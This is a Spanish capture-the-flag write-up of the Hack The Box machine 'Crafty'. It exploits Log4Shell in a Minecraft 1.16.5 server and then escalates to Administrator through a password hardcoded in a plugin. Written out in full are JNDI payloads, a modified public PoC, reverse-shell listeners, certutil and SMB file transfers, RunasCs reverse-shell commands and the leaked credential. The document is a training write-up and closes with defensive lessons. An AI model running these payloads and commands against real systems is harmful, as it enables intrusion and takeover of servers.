Crafty
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El puerto 25565 expone un servidor de Minecraft 1.16.5, una versión afectada por Log4Shell (CVE-2021-44228). Enviando el payload${jndi:ldap://...}por el chat del juego, ellog4jdel servidor intenta resolver el nombre por LDAP contra nosotros, lo que confirma la vulnerabilidad y permite cargar una clase Java maliciosa para una reverse shell comosvc_minecraft. Entre los plugins del servidor hay un.jarpropio (playercounter) que, al descompilarlo, filtra la contraseña del Administrator. Con ella, RunasCs lanza una consola como administrador y cierra la máquina.
Reconocimiento
Ping
ping -c 1 10.10.11.249
PING 10.10.11.249 (10.10.11.249) 56(84) bytes of data.
64 bytes from 10.10.11.249: icmp_seq=1 ttl=127 time=112 ms
--- 10.10.11.249 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 111.660/111.660/111.660/0.000 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Barremos los 65535 puertos TCP con -sS para descubrir los abiertos y, sobre ellos, lanzaremos un escaneo dirigido de versiones (dos fases: descubrir rápido, luego perfilar).
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.249 -oG scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 17:33 CEST
Discovered open port 80/tcp on 10.10.11.249
Discovered open port 25565/tcp on 10.10.11.249
Completed SYN Stealth Scan at 17:34, 26.43s elapsed (65535 total ports)
Nmap scan report for 10.10.11.249
Host is up, received user-set (0.12s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
25565/tcp open minecraft syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 26.53 secondsDos detalles: los ttl 127 confirman el ping, y 65533 puertos aparecen filtered, no closed. Un puerto cerrado responde con un RST; uno filtrado no responde nada, lo que indica que hay un cortafuegos descartando el tráfico en lugar de un sistema que simplemente no escucha ahí. Solo esos dos puertos han sido abiertos a propósito.
Una función auxiliar extrae los puertos del fichero grepeable y los deja en el portapapeles:
extractPorts scan
Extracting information...
IP Address: 10.10.11.249
Open ports: 80,25565
Ports copied to clipboardCon la lista, el escaneo dirigido de versiones y scripts por defecto:
nmap -p80,25565 -sCV 10.10.11.249
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://crafty.htb
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.88 secondsEste escaneo lo da todo. El 80 es IIS 10.0 (coherente con Windows) y redirige a crafty.htb, así que hay virtual hosting. Y el 25565 no solo está abierto: nmap tiene un script específico para el protocolo de Minecraft y saca el banner completo del servidor, incluyendo la versión 1.16.5, el mensaje del día (Crafty Server) y los jugadores conectados (0/100). Esa versión es el hilo del que tirar.
Antes de nada, resolvemos el dominio localmente:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.249 crafty.htbTCP 80 - El sitio web
whatweb 10.10.11.249
http://10.10.11.249 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], Microsoft-IIS[10.0], RedirectLocation[http://crafty.htb], Title[Document Moved]
http://crafty.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]El whatweb deja ver las dos respuestas: la IP a pelo devuelve un 301 hacia el dominio, y el dominio un 200 con el título real. Sin CMS ni lenguaje de servidor, solo IIS y jQuery. Wappalyzer confirma lo mismo sobre una portada temática del servidor de Minecraft:

El pie de la página dice "Join 1277 other players on play.crafty.htb", un contador que más adelante resultará ser precisamente lo que genera el plugin vulnerable.
El código fuente tampoco esconde credenciales, pero sí explica los enlaces de la portada:

<title>Crafty - Official Website</title>
...
<div class="items">
<!-- Replace # with your forum URL-->
<a href="/coming-soon" class="item forums">
...
<!-- Replace # with your store URL -->
<a href="/coming-soon" class="item store">
...
<!-- Replace # with your vote URL -->
<a href="/coming-soon" class="item vote">Los tres botones apuntan al mismo /coming-soon, y los comentarios (Replace # with your forum URL) son los de una plantilla comprada sin personalizar. La web es decorado.
El fuzzing lo confirma. dirsearch con su diccionario por defecto encuentra una sola ruta:
dirsearch -u http://10.10.11.249/ --exclude-status=403,404,301
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.249/
[17:43:04] Starting:
[17:43:50] 200 - 2KB - /home
Task CompletedY gobuster con el diccionario grande de SecLists tampoco añade nada nuevo:
gobuster dir -u http://10.10.11.249 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404,301
[+] Url: http://10.10.11.249
[+] Negative Status codes: 404,301
===============================================================
/home (Status: 200) [Size: 1826]
/Home (Status: 200) [Size: 1826]
/HOME (Status: 200) [Size: 1826]
/coming-soon (Status: 200) [Size: 1206]
Progress: 220564 / 220565 (100.00%)
===============================================================
FinishedMerece la pena fijarse en el -b 404,301: por defecto gobuster solo filtra los 404, y aquí cada ruta inexistente devolvía un 301 (la redirección de la IP al dominio), lo que llenaba la salida de falsos positivos. Añadir el 301 a la lista negra deja la salida limpia. Y /home, /Home y /HOME son la misma ruta: IIS no distingue mayúsculas de minúsculas, así que el mismo fichero aparece tres veces con un tamaño idéntico de 1826 bytes.
Conclusión: el 80 es un callejón sin salida. Todo el peso de la máquina recae sobre el servicio de juego.
TCP 25565 - Minecraft 1.16.5
La versión es la pista. Minecraft corre sobre Java, y entre 2013 y 2021 el cliente y el servidor registraban con log4j los mensajes del chat. La versión 1.16.5 es de las afectadas por Log4Shell: cualquier cadena que log4j registre y que contenga ${jndi:ldap://...} dispara una resolución JNDI hacia el servidor que indiquemos.

Minecraft Java Log4j RCE 0-Day Vulnerability
9 oct 2021. A zero-day exploit affecting Minecraft Java servers and clients using versions 1.7 to 1.18.1 was discovered.
[1.16.5] still vulnerable to Log4Shell · Issue #10293
6 ene 2025. Minecraft Version: 1.16.5 Forge Version: 36.2.39 ...
Exploiting Minecraft Servers (Log4j) - Software Sinner - MediumUno de los informes públicos detalla además cómo se explotó en la práctica, y de él sale el plan de ataque completo:

$ sudo python3 poc.py --userip 10.10.14.36 --webport 80 --lport 4444
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.14.36:1389/a}
[+] Starting Webserver on port 80 http://0.0.0.0:80
Listening on 0.0.0.0:1389El informe usaba el cliente gráfico de Minecraft (TLauncher), lo que obliga a instalar el juego entero. Nosotros haremos exactamente lo mismo desde un cliente de consola, que es más ligero y permite copiar y pegar los payloads.
Shell como svc_minecraft
El cliente de consola
En lugar del juego completo usamos MCCTeam/Minecraft-Console-Client, que habla el protocolo de Minecraft desde la terminal:

De los once binarios elegimos MinecraftClient-20250522-285-linux-x64 (62 MB), el de nuestra arquitectura:
wget https://github.com/MCCTeam/Minecraft-Console-Client/releases/download/20250522-285/MinecraftClient-20250522-285-linux-x64
mv MinecraftClient-20250522-285-linux-x64 MinecraftClient
chmod +x MinecraftClient
--2025-09-06 17:44:57-- https://github.com/MCCTeam/Minecraft-Console-Client/releases/download/20250522-285/MinecraftClient-20250522-285-linux-x64
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://release-assets.githubusercontent.com/... <SNIP>
HTTP request sent, awaiting response... 200 OK
Length: 65024216 (62M) [application/octet-stream]
Saving to: 'MinecraftClient-20250522-285-linux-x64'
MinecraftClient-20250522-285-linux-x64 100%[===============>] 62.01M 13.4MB/s in 4.6s
2025-09-06 17:45:02 (13.4 MB/s) - 'MinecraftClient-20250522-285-linux-x64' saved [65024216/65024216]Al lanzarlo pide usuario y contraseña; se dejan en blanco para entrar en modo offline, que es como está configurado este servidor (no valida cuentas contra Mojang):
./MinecraftClient
Minecraft Console Client v1.20.4 - for MC 1.4.6 to 1.20.4
Login :
Password(invisible): (sin contraseña)
You chose to run in offline mode.
Server IP :
Resolving crafty.htb...
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.POC: confirmar Log4Shell desde el chat
Antes de montar toda la cadena de explotación conviene comprobar con lo mínimo posible que el fallo existe. La prueba es un ${jndi:ldap://<nuestra-ip>} sin ruta: si el servidor es vulnerable, su log4j intentará abrir una conexión LDAP contra nosotros, y basta un nc escuchando en el puerto 389 (el de LDAP por defecto) para verlo.
sudo nc -nlvp 389${jndi:ldap://10.10.16.2}
listening on [any] 389 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49679
0La conexión entrante desde 10.10.11.249 lo confirma: el servidor ha registrado nuestro mensaje, log4j ha interpretado la expresión ${jndi:...} como una consulta que debe resolver y ha salido a buscarla. La vulnerabilidad está presente.
Explotación con log4j-shell-poc
Confirmado el fallo, el siguiente paso es servir una clase Java maliciosa. El proyecto público kozmer/log4j-shell-poc automatiza la cadena: levanta un LDAP rogue en el 1389 que redirige a un servidor HTTP con la clase compilada, la cual ejecuta el comando que le indiquemos.

git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
ls
Cloning into 'log4j-shell-poc'...
remote: Enumerating objects: 52, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 41 (from 2)
Receiving objects: 100% (52/52), 38.74 MiB | 2.31 MiB/s, done.
Resolving deltas: 100% (7/7), done.
Dockerfile LICENSE README.md poc.py requirements.txt target vulnerable-applicationpip3 install -r requirements.txt --break-system-packages
Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (0.4.6)
Collecting argparse (from -r requirements.txt (line 2))
Downloading argparse-1.4.0-py2.py3-none-any.whl.metadata (2.8 kB)
Downloading argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse
Successfully installed argparse-1.4.0El JDK 8u202 y por qué hace falta
El primer intento de ejecutar el PoC falla, y el error explica exactamente qué falta:
python3 poc.py
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
Traceback (most recent call last):
File "/home/krmena/machines/crafty/exploits/log4j-shell-poc/poc.py", line 144, in <module>
main()
File "/home/krmena/machines/crafty/exploits/log4j-shell-poc/poc.py", line 134, in main
if not check_java():
File "/home/krmena/machines/crafty/exploits/log4j-shell-poc/poc.py", line 86, in check_java
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
...
FileNotFoundError: [Errno 2] No such file or directory: '/home/krmena/machines/crafty/exploits/log4j-shell-poc/jdk1.8.0_20/bin/java'El PoC busca un JDK dentro de su propio directorio, y no uno cualquiera: necesita una versión antigua de Java 8. La razón es el propio parche de Oracle: a partir de Java 8u191 la propiedad com.sun.jndi.ldap.object.trustURLCodebase pasó a valer false por defecto, lo que impide que un cliente JNDI descargue y cargue una clase remota. El PoC usa ese Java antiguo en local para compilar la clase maliciosa con un formato que el Java de la víctima sí acepte.
# búsqueda: download jdk1.8.0_20
Oracle · https://www.oracle.com › java
Java SE 8 Archive Downloads (JDK 8u202 and earlier)
Java SE 8 Archive Downloads (JDK 8u202 and earlier). Go to the Java Archive page.
This page includes archive downloads for Java SE 8u202 and earlier.La descarga desde el archivo de Oracle exige una cuenta gratuita:

Una vez descargado, lo traemos al directorio del PoC y lo descomprimimos:
mv /home/krmena/Downloads/jdk-8u202-linux-x64.tar.gz .
gunzip jdk-8u202-linux-x64.tar.gz
tar -xf jdk-8u202-linux-x64.tar &>/dev/null
ls
Dockerfile LICENSE README.md jdk-8u202-linux-x64.tar poc.py requirements.txt target vulnerable-application
Dockerfile README.md jdk1.8.0_202 requirements.txt vulnerable-application
LICENSE jdk-8u202-linux-x64.tar poc.py targetEl directorio se llama jdk1.8.0_202 pero el PoC busca literalmente jdk1.8.0_20, así que hay que renombrarlo:
mv jdk1.8.0_202 jdk1.8.0_20![]()
root@kali:/home/.../machines/crafty/exploits/log4j-shell-poc#El mv no imprime nada y devuelve el prompt: el directorio ya tiene el nombre que busca el PoC.
Adaptar el PoC a Windows
Queda una modificación imprescindible. El PoC está escrito pensando en víctimas Linux: la clase Java que genera lanza /bin/sh, un binario que en Windows no existe. Hay que cambiarlo por cmd.exe:
grep 'String cmd' poc.py -C 1 | batcat -l python
sudo nano poc.py
grep 'String cmd' poc.py -C 1 | batcat -l python
// antes
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
// después
int port=%d;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Disparar la cadena
Con todo listo, tres piezas en paralelo: el PoC (que levanta el LDAP en el 1389 y el HTTP en el 8080), el listener que recibirá la shell, y el cliente de Minecraft para enviar el payload.
python3 poc.py --userip 10.10.16.2 --webport 8080 --lport 4443sudo rlwrap nc -nlvp 4443${jndi:ldap://10.10.16.2:1389/a}
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.16.2:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.10.16.2:8080/Exploit.class
10.10.11.249 - - [06/Sep/2025 18:26:46] "GET /Exploit.class HTTP/1.1" 200 -listening on [any] 4443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49705
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\users\svc_minecraft\server>La secuencia queda visible en el log del PoC: el servidor pide la referencia al LDAP, este le responde con una redirección a nuestro HTTP, y la víctima descarga Exploit.class con un 200. La clase se ejecuta y abre la conexión de vuelta. El rlwrap delante del nc da historial y edición de línea en una consola de Windows que, de otro modo, no permite ni borrar un carácter.
whoami
type C:\Users\svc_minecraft\Desktop\user.txt
c:\users\svc_minecraft\server>whoami
crafty\svc_minecraft
c:\users\svc_minecraft\server>type C:\Users\svc_minecraft\Desktop\user.txt
6ccf8832c680325f1a2a4f833f45dcc0Shell como Administrator
El plugin a medida
El directorio de trabajo de la shell es el propio servidor de Minecraft, así que lo primero es ver qué hay:
dir
cd plugins
Directory of c:\users\svc_minecraft\server
10/26/2023 06:37 PM <DIR> .
10/26/2023 06:37 PM <DIR> ..
11/14/2023 11:00 PM 2 banned-ips.json
11/14/2023 11:00 PM 2 banned-players.json
10/24/2023 01:48 PM 183 eula.txt
09/06/2025 08:46 AM <DIR> logs
11/15/2025 12:22 AM 2 ops.json
10/27/2023 02:48 PM <DIR> plugins
10/24/2023 01:43 PM 37,962,360 server.jar
11/14/2023 11:00 PM 1,130 server.properties
09/06/2025 09:26 AM 103 usercache.json
10/24/2023 01:51 PM 2 whitelist.json
10/24/2023 09:22 AM <DIR> worldUn servidor de Minecraft estándar trae server.jar, world, logs y los .json de configuración. Lo que no es estándar es el contenido de plugins: ahí vive playercounter-1.0-SNAPSHOT.jar, un plugin escrito a medida para esta máquina. Ese es el objetivo.
Traerlo por SMB
Para analizarlo hace falta sacarlo de la víctima, y no tenemos ni certutil de subida ni un SSH. La vía más cómoda en Windows es montar un recurso SMB desde la atacante: smbserver.py de Impacket levanta un servidor con credenciales y la víctima lo monta con net use como si fuera un recurso corporativo.
smbserver.py smbFolder $(pwd) -smb2support -username kmn9 -password kmn9123net use \\10.10.16.2\smbFolder /u:kmn9 kmn9123
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Incoming connection (10.10.11.249,49709)
[*] AUTHENTICATE_MESSAGE (\kmn9,CRAFTY)
[*] User CRAFTY\kmn9 authenticated successfully
[*] kmn9:::aaaaaaaaaaaaaaaa:e646de12a0faf01828626d8b271657f2:0101000000000000... <SNIP>
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)c:\users\svc_minecraft\server>net use \\10.10.16.2\smbFolder /u:kmn9 kmn9123
The command completed successfully.El -smb2support y las credenciales no son opcionales: las versiones modernas de Windows rechazan SMBv1 y las conexiones anónimas, así que sin ambas cosas el net use fallaría. Con el recurso montado, copiar el plugin es un copy normal:
copy playercounter-1.0-SNAPSHOT.jar \\10.10.16.2\smbFolder\playercounter.jar
C:\Users\svc_minecraft\server\plugins>copy playercounter-1.0-SNAPSHOT.jar \\10.10.16.2\smbFolder\playercounter.jar
1 file(s) copied.
MinecraftClient MinecraftClient.backup.ini MinecraftClient.ini playercounter.jarInformation disclosure: la contraseña en el .jar
Un .jar es un ZIP de clases Java compiladas. Java compila a bytecode muy cercano al código fuente, lo que hace que un descompilador recupere algo casi idéntico al original. JD-GUI es el más cómodo:
apt install jd-gui -y
Installing:
jd-gui
Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1276
Download size: 1287 kB
Space needed: 1500 kB / 57.0 GB available
Get:1 http://kali.download/kali kali-rolling/main amd64 jd-gui all 1.6.6-0kali1 [1287 kB]
Setting up jd-gui (1.6.6-0kali1) ...jd-gui &>/dev/null disown
root@kali:/home/krmena/machines/crafty/content#El disown devuelve el prompt al instante porque desliga el proceso de la terminal: JD-GUI abre su ventana y la shell queda libre.
El árbol del .jar ya adelanta el hallazgo: además del paquete propio htb.crafty.playercounter, incluye net.kronos.rkon.core, una librería cliente de RCON, el protocolo de administración remota de los servidores de Minecraft. Un plugin que habla RCON necesita una contraseña, y esa contraseña tiene que estar en algún sitio.

package htb.crafty.playercounter;
import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;
public final class Playercounter extends JavaPlugin {
public void onEnable() {
Rcon rcon = null;
try {
rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
} catch (IOException e) {
throw new RuntimeException(e);
} catch (AuthenticationException e2) {
throw new RuntimeException(e2);
}
String result = null;
try {
result = rcon.command("players online count");
PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
writer.println(result);
} catch (IOException e3) {
throw new RuntimeException(e3);
}
}
public void onDisable() {}
}Treinta líneas que lo explican todo. El plugin se conecta por RCON a 127.0.0.1:27015 con la contraseña s67u84zKq8IXw en claro, pide el número de jugadores conectados y lo escribe en C:\inetpub\wwwroot\playercount.txt. Ese fichero es justo el que alimenta el "Join 1277 other players" de la portada, así que el círculo se cierra: la web que parecía decorado era la salida de este plugin.
La contraseña es de un servicio interno, pero por contexto (un servidor doméstico donde todo lo administra la misma persona) merece la pena probarla contra la cuenta de Administrator.
RunasCs: ejecutar como Administrator
No tenemos sesión interactiva del Administrator, pero sí su contraseña. RunasCs permite ejecutar un proceso como otro usuario aportando sus credenciales, sin necesitar una sesión gráfica.

Lo descargamos de antonioCoco/RunasCs, lo servimos por HTTP y lo traemos a la víctima con certutil, que viene instalado en cualquier Windows y sirve como descargador:
mv /home/krmena/Downloads/RunasCs.zip .
unzip RunasCs.zip &>/dev/null
python3 -m http.server 8080mkdir prvesc
cd prvesc
certutil.exe -f -urlcache -split http://10.10.16.2:8080/RunasCs.exe RunasCs.exe
C:\Windows\Temp>mkdir prvesc
C:\Windows\Temp>cd prvesc
C:\Windows\Temp\prvesc>certutil.exe -f -urlcache -split http://10.10.16.2:8080/RunasCs.exe RunasCs.exe
**** Online ****
0000 ...
ca00
CertUtil: -URLCache command completed successfully.Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.249 - - [06/Sep/2025 19:14:02] "GET /RunasCs.exe HTTP/1.1" 200 -Se descarga en C:\Windows\Temp\prvesc porque Temp es escribible por cualquier usuario. La ayuda del binario trae los ejemplos de uso, y uno encaja exactamente con lo que queremos:
RunasCs.exe --help
Examples:
Run a command as a local user
RunasCs.exe user1 password1 "cmd /c whoami /all"
Run a command as a domain user and logon type as NetworkCleartext (8)
RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
Run a background process as a local user,
RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
Redirect stdin, stdout and stderr of the specified command to a remote host
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444El flag -r redirige las tres entradas y salidas estándar a un host remoto, es decir, devuelve una reverse shell sin necesitar un nc.exe subido a la máquina. Levantamos el listener y lanzamos:
sudo rlwrap nc -nlvp 1234.\RunasCs.exe Administrator s67u84zKq8IXw cmd.exe -r 10.10.16.2:1234
type C:\Users\Administrator\Desktop\root.txt
C:\Windows\Temp\prvesc>.\RunasCs.exe Administrator s67u84zKq8IXw cmd.exe -r 10.10.16.2:1234
[+] Running in session 1 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: WinSta0\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1020 created in background.listening on [any] 1234 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49726
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
273d7e087f2f6efae8b7289be500f70dQue RunasCs no devuelva ningún error de autenticación es en sí la prueba de que la credencial era válida: si la contraseña no fuese la del Administrator, el proceso ni siquiera se habría creado. Máquina cerrada.
Cadena de ataque
nmap -p- (65533 filtered) → 80 IIS (decorado) + 25565 Minecraft 1.16.5
└─ Log4Shell CVE-2021-44228: ${jndi:ldap://...} por el chat
├─ PoC con nc en el 389 → conexión entrante = confirmado
└─ log4j-shell-poc (JDK 8u202 + cmd.exe) → LDAP 1389 → HTTP 8080 → Exploit.class
└─ reverse shell ──► svc_minecraft (user.txt)
└─ plugins/playercounter.jar ──► SMB ──► JD-GUI
└─ RCON 127.0.0.1:27015, contraseña s67u84zKq8IXw
└─ RunasCs -r ──► Administrator (root.txt)Lecciones aprendidas
- Log4Shell no necesita un formulario web. Cualquier punto donde una entrada del usuario acabe en un
log4jvale: el chat de un juego, una cabecera HTTP, un User-Agent, un nombre de host. La superficie real de CVE-2021-44228 fue enorme precisamente por eso. - Confirmar antes de explotar. Un
${jndi:ldap://<ip>}sin ruta y unncen el 389 prueban el fallo en diez segundos; montar la cadena completa (JDK antiguo incluido) lleva media hora. El orden importa. - Una versión de servicio es una pista, no un trámite. El
nmapcantaba "Minecraft 1.16.5"; ese dato por sí solo encaminaba toda la intrusión. Conviene cruzar siempre versión observada con vulnerabilidades conocidas. - Los exploits públicos se leen y se adaptan.
poc.pylanzaba/bin/sh(inútil en Windows) y exigía un JDK anterior a 8u191, porque a partir de ahí Java dejó de cargar clases remotas por JNDI. Sin esos dos ajustes el PoC no funciona, y ninguno viene explicado en el README. - Las credenciales hardcodeadas sobreviven a la compilación. Un
.jar(o cualquier binario) no es una caja negra: Java compila a bytecode muy cercano al fuente, y un descompilador revela secretos que el desarrollador creyó ocultos. Nunca incrustar contraseñas en el código. - Reutilización de credenciales. La contraseña del RCON interno resultó ser también la del Administrator. Separar credenciales por cuenta y servicio habría cortado la escalada en seco.